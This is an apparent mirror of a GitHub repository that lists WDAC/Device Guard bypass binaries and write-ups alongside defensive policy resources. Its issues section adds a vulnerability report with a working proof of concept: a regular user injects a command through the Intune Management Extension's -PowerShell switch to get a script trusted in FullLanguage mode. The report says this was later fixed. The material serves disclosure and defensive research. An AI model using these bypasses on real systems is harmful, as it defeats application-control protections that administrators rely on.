GithubHelp home page GithubHelp logo

ultimatewdacbypasslist's Introduction

Ultimate WDAC Bypass List

A centralized resource for previously documented WDAC/Device Guard/UMCI bypass techniques as well for building/managing/testing WDAC policies

*Many of the LOLBINs are included on the Applications that can bypass WDAC List formerly called the "Microsoft Recommended Block Rules List"

*This repository was inspired by Oddvar Moe's Ultimate AppLocker Bypass List

*As always, this is a work in progress...


Applications that can bypass WDAC - "LOLBIN" Write-Ups

addinprocess.exe

addinprocess32.exe

addinutil.exe

aspnet_compiler.exe

bginfo.exe

cdb.exe

csi.exe

dbghost.exe

dnx.exe

dotnet.exe

fsi.exe

fsiAnyCpu.exe

infdefaultinstall.exe

InstallUtil.exe

IntuneWindowsAgent.exe (Microsoft.Management.Services.IntuneWindowsAgent.exe)

  • By Kim Oppalfens (@TheWMIGuy)
  • Intune Windows Agent Bypass Explanation

kill.exe

microsoft.Workflow.Compiler.exe

msbuild.exe

mshta.exe

powershellcustomhost.exe

rcsi.exe

runscripthelper.exe

visualuiaverifynative.exe

wfc.exe

windbg.exe

wmic.exe

WSL Family - bash.exe, lxrun.exe, wsl.exe, wslconfig.exe, wslhost.exe

On Block List - Not Documented Yet...

  • dbgsvc.exe
  • kd.exe
  • ntkd.exe
  • ntsd.exe
  • texttransform.exe
  • HVCIScan.exe

Libraries On List (Independent usage may/may not be interesting)

  • Microsoft.Build.dll
  • Microsoft.Build.Framework.dll
  • msbuild.dll
  • lxssmanager.dll
  • system.management.automation.dll
  • webclnt.dll/davsvc.dll
  • mfc40.dll

Other "Unsigned Code Execution" LOLBINs (not on list)

dbgsrv.exe


PowerShell

UMCI BYPASS USING PSWORKFLOWUTILITY: CVE-2017-0215

DEFEATING DEVICE GUARD: A LOOK INTO CVE-2017-0007

Exploiting PowerShell Code Injection Vulnerabilities to Bypass Constrained Language Mode

A LOOK AT CVE-2017-8715: BYPASSING CVE-2017-0218 USING POWERSHELL MODULE MANIFESTS

CVE-2018-8212: DEVICE GUARD/CLM BYPASS USING MSFT_SCRIPTRESOURCE

Invoke-History Constrained Language Mode Bypass


Novel Living-Of-The-Land/COM/Microsoft Office/Active Scripting Languages (jscript.dll, msxml3.dll, msxml6.dll)

Bypassing Device Guard with .NET Assembly Compilation Methods

Sneaking Past Device Guard (+ CVE-2018-8417)

WLDP CLSID policy .NET COM Instantiation UMCI Bypass

WSH INJECTION: A CASE STUDY

Application Whitelisting Bypass and Arbitrary Unsigned Code Execution Technique in winrm.vbs

COM XSL Transformation: Bypassing Microsoft Application Control Solutions (CVE-2018-8492)

Abusing Catalog Hygiene to Bypass Application Whitelisting

BYPASSING DEVICE GUARD UMCI USING CHM โ€“ CVE-2017-8625

UMCI VS INTERNET EXPLORER: EXPLORING CVE-2017-8625

Bypassing WDAC with Previous Versions of Signed Script Hosts & Signature Catalog Files


Defense, Policy Creation, Testing, & Research

WDAC Twitch Stream

WDAC Policy Wizard

WDACTools

WDACPolicies

Building a Windows Defender Application Control Lab

Documenting and Attacking a Windows Defender Application Control Feature the Hard Way โ€” A Case Study in Security Research Methodology

WinAWL

Exploit Monday Blog

Quick Steps for Deploying a Policy & Setting Up a WDAC Test Machine

Windows Defender Application Control (WDAC) Updates in 20H2 and Building a Simple, Secure Windows-only Policy

Harden Windows Security: WDAC Notes

WDAC Notes

ultimatewdacbypasslist's People

Contributors

bohops avatar

Stargazers

 avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar

Watchers

 avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar

ultimatewdacbypasslist's Issues

Intune Windows Agent bypass explanation

If you place the screenshots in a subolder called images to the relative path of this report than the output/screenshots should appear inline with the report

Summary

If a device has the Intune Management Extensions configured as a Windows Defender Application Control Managed Installer than the Intune Management Extensions can be used as a WDAC bypass by a regular user.

FYI, This was fixed by removing the -PowerShell switch below in point 8.
Intune Managed Extension WDAC Bypass.md
Intune Managed Extension WDAC Bypass.zip
Set-IntuneMEasWDACMI.ps1.txt
Intune Managed Extension WDAC Bypass.md
Intune Managed Extension WDAC Bypass.zip
Set-IntuneMEasWDACMI.ps1.txt

Description

The executable for the Intune Management Extension, Microsoft.Management.Services.IntuneWindowsAgent.exe, has a -PowerShell parameter. This allows anyone to launch a PowerShell Script using the Intune Management extension. Doing so launches a new PowerShell host that is still locked in PowerShell Constrained Language mode. The arguments on the -PowerShell option are however not escaped correctly allowing command injection.

The command injection can be used to write a new file to disk. That file will receive the NTFS Extended Attribute marking the file as written to disk by the Intune Managed Extension. If the file written to disk is a PowerShell Script these attributes will make sure the script runs trusted in FullLanguage mode. If a PE file is written to disk it would become trusted based on these extended attributes as well.

Steps to Reproduce: (Add details for how we can reproduce the issue)

Preparing the machine to be executed as a user with Local Administrator credentials

To quickly reproduce this we'll prepare the machine using local scripts. These preparation steps are done as someone with administrator credentials. They're not part of the actual security issue though. In a regular environment these prerequisites will probably be handled by the Intune environment by someone that wants to use Intune as a Managed Installer.

Defining a Managed installer is documented Here

Setting the Intune Management Extensions as a managed installer

  1. Create temp directory c:\temp by running New-Item -ItemType Directory c:\temp

    images/Screenshot2021-07-17IMEMIBypass01A.png

  2. Set the PowerShell Execution Policy to RemoteSigned as needed by running Set-ExecutionPolicy RemoteSigned

    images/Screenshot2021-07-17IMEMIBypass01b.png

  3. Copy the set-ApplockerMIPolicy.ps1 to c:\temp and Run script to define the Intune Management Extension as a Wdac Managed installer. (Waiting for the binaries for applocker to be created could take a while!)
    Notes: The set-ApplockerMIPolicy script was delivered with the report

    • Navigate to the temp folder by running set-location c:\temp
    • Set the Managed installer policy by running .\Set-ApplockerMIPolicy.PS1

    images/Screenshot2021-07-17IMEMIBypass01c.png

Apply the WDAC Enforced policy with Managed installer functionality

  1. Configure a WDAC Enforced policy with Managed Installer ruleoption

    • Copy the Windows Included Example policy DefaultWindows_Enforced to C:\Temp by running copy-item c:\Windows\schemas\CodeIntegrity\ExamplePolicies\DefaultWindows_Enforced.xml .\

    alt

    • Enable the Windows Managed Installer option in the WDAC policy by running Set-RuleOption -FilePath .\DefaultWindows_Enforced.xml -Option 13
    • Build the binary policy by running ConvertFrom-CiPolicy -XMLFilePath C:\Temp\WDACEnforceWithMI.XML -BinaryFilePath C:\Temp\Binary.bin

    images/Screenshot2021-07-17IMEMIBypass02c.png

    • $Global:SiPolicyPathTemp = Join-Path $env:SystemRoot 'System32\codeintegrity\SIPolicyTmp.p7b'
    • Copy-Item "C:\temp\BinaryPolicy.bin" $Global:SiPolicyPathTemp
    • $wmiResult = Invoke-CimMethod -Namespace root\Microsoft\Windows\CI -ClassName PS_UpdateAndCompareCIPolicy -MethodName Update -Arguments @{FilePath = $Global:SiPolicyPathTemp}

    images/Screenshot2021-07-17IMEMIBypass02d.png

Create a local regular user to test bypass

  1. Create local user named EvilKieken by running New-LocalUser evilkieken

    images/Screenshot2021-07-17IMEMIBypass03a.png

Proof of concept bypass to be executed as a regular user WITHOUT Local Administrator credentials

This step is the weaponisation of the bypass and can be executed as a regular user on a machine that is prepped with the steps above or on any device that has a config where the Intune Management Extensions are configured as a WDAC Managed installer.

  1. Log in as the user evilkieken
  2. Open a PowerShell window as a regular user.
  3. If the Intune Management Extensions are already installed navigate to the installation folder.
  • sl 'C:\Program Files (x86)\Microsoft Intune Management Extension'
  1. Optional: If the Intune Managed Extensions aren't installed you can bring your own. Copy the Intune Managed Extension folder into C:\Temp if it isn't installed yet.
  2. Navigate to the folder holding the Intune Managed Extension binaries or to c:\temp if you brought your own binaries
  • sl 'C:\Program Files (x86)\Microsoft Intune Management Extension'

    or

  • sl 'c:\temp'

    (images/Screenshot2021-07-17IMEMIBypass11a.png

  1. Check whether PowerShell Constrained Language mode is enabled by running: $ExecutionContext.SessionState.LanguateMode

    alt

  2. Check whether method invocation works. This should give an error when PowerShell Constrained Language mode is enforced.

  • Check Method Invocation is blocked by running [math]::sqrt(9)

Notes: This should tell you that the method cannnot be invoked in this language mode. Error messages reads:
Cannot invoke method. Method invocation is supported only on core types in this language mode.

images/Screenshot2021-07-17IMEMIBypass11b.png

  1. Create the PowerShell script to demonstrate the bypass by running
  • .\Microsoft.Management.Services.IntuneWindowsAgent.exe -powershell c:\temp\IMESidecarbypassscript.ps1 c:\temp\IMESidecarBypassOutPut.txt c:\temp\IMESidecarBypassError.txt c:\temp\IMESidecarBypassTimeOut.txt 600 "powershell.exe -command set-content -Path C:\temp\bypass.ps1 -Value '[math]::sqrt(9);`$executioncontext.sessionstate.languagemode' #"

    images/Screenshot2021-07-17IMEMIBypass11b.png

NOTE!: The command above is a single command line

  1. Verify the NTFS Extended attributes have been added to bypass.ps1 by running fstutil.exe file queryea c:\Temp\bypass.ps1

Notes: This should show you the $Kernel.Smartlocker.Originclaim proving the file was written to disk by a managed installer.

images/Screenshot2021-07-17IMEMIBypass11b.png

  1. Validate the bypass works by running C:\temp\bypass.ps1

Notes: The Math invocation function now works and the script specifies it runs in full language mode proving the bypass is functional.

images/Screenshot2021-07-17IMEMIBypass11b.png

Supporting materials/ references:

  • Script to set Intune Management Extensions as a Managed installer (files\Set-ApplockerMIPolicy.PS1)
  • Images with screenshots in subfolder images (images\*)
  • binaries for Intune Management Extension version 1.44.201.0 (files\Microsoft Intune Management Extension - 1.44.201.0.zip)

Listed app is not getting denied

AFTER APPLYING THIS POLICY AS BASE OR SUPPLYMEMTARY THE FOLLOWING APP IS NOT GETTING DENIED

Have used with merged policy also with default signed and reputable but it is not taking effect

White box testing performed . Able to execute bginfo.exe and bash.exe

TIA

Recommend Projects

  • React photo React

    A declarative, efficient, and flexible JavaScript library for building user interfaces.

  • Vue.js photo Vue.js

    ๐Ÿ–– Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.

  • Typescript photo Typescript

    TypeScript is a superset of JavaScript that compiles to clean JavaScript output.

  • TensorFlow photo TensorFlow

    An Open Source Machine Learning Framework for Everyone

  • Django photo Django

    The Web framework for perfectionists with deadlines.

  • D3 photo D3

    Bring data to life with SVG, Canvas and HTML. ๐Ÿ“Š๐Ÿ“ˆ๐ŸŽ‰

Recommend Topics

  • javascript

    JavaScript (JS) is a lightweight interpreted programming language with first-class functions.

  • web

    Some thing interesting about web. New door for the world.

  • server

    A server is a program made to process requests and deliver data to clients.

  • Machine learning

    Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.

  • Game

    Some thing interesting about game, make everyone happy.

Recommend Org

  • Facebook photo Facebook

    We are working to build community through open source technology. NB: members must have two-factor auth.

  • Microsoft photo Microsoft

    Open source projects and samples from Microsoft.

  • Google photo Google

    Google โค๏ธ Open Source for everyone.

  • D3 photo D3

    Data-Driven Documents codes.